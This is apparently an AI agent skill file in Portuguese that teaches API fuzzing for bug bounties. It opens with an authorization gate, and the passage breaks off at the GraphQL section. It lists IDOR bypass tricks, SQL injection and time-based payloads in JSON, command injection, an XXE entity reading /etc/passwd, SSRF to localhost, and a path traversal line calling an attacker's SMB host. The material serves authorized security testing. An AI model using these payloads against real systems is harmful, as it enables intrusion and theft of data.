⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Fuzzing de API para Caça a Bugs

Propósito

Fornecer técnicas abrangentes para testar APIs REST, SOAP e GraphQL durante atividades de caça a bugs e testes de penetração. Abrange descoberta de vulnerabilidades, bypass de autenticação, exploração de IDOR e vetores de ataque específicos de API.

Entradas/Pré-requisitos

• Burp Suite ou ferramenta proxy similar
• Listas de palavras para API (SecLists, api_wordlist)
• Compreensão dos protocolos REST/GraphQL/SOAP
• Python para scripting
• Endpoints da API alvo e documentação (se disponível)

Saídas/Entregáveis

• Vulnerabilidades de API identificadas
• Provas de exploração de IDOR
• Técnicas de bypass de autenticação
• Pontos de injeção SQL
• Documentação de acesso não autorizado a dados

Visão Geral dos Tipos de API

Fluxo de Trabalho Principal

Etapa 1: Reconhecimento de API

Identifique o tipo de API e enumere os endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Etapa 2: Teste de Autenticação

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Etapa 3: Teste de IDOR

Insecure Direct Object Reference é a vulnerabilidade de API mais comum:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

Técnicas de Bypass de IDOR:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Etapa 4: Teste de Injeção

Injeção SQL em JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Injeção de Comando:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

Injeção XXE:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

Vulnerabilidade .NET Path.Combine:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Etapa 5: Teste de Métodos

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

Testes Específicos de GraphQL

…